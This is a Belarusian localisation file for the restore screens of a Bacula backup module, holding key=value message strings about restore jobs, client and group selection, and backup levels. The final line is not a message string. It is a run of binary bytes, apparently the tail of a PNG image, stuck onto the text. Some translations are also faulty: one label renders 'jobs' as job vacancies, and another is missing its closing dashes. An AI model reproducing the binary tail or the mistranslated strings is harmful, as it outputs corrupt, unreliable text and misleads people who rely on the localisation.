restore_running2=.. аднаўленне было пачата ў фонавым рэжыме.
restore_done=.. аднаўленне завершана.
restore_failed=.. аднаўленне не завяршылася паспяхова. Праверце падрабязнае паведамленне пра памылку.
restore_clist=--Кліенты--
restore_glist=--Бакула-групы
restore_eclient=Не абраны кліент ці група Bacula
restore_egroup=Група Bacula не існуе
restore_jlist=- Адзіныя заданні сістэмы--
restore_njlist=- Вакансіі групы Bacula--
restore_all=- Усе кліенты ў групе--
restore_eclients=Ніводнага рэзервовага капіравання групы Bacula!
restore_eall1=Параметр <b>Усе кліенты ў рэжыме рэзервовага капіявання</b> павінен быць абраны для <b>Аднавіць для кліента ці групы</b> пры аднаўленні групавой працы Bacula.
restore_eall2=Параметр <b>Усе кліенты ў рэжыме рэзервовага капіравання</b> можна выбраць толькі для <b>Аднавіць для кліента ці групы</b> пры аднаўленні групавой працы Bacula.
restore_enofiles=Ні адзін з выбраных файлаў не знаходзіцца ў рэзервовай копіі
restore_level_F=Поўны
restore_level_D=Дыферэнцыяльны
restore_level_I=Інкрэментальны
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`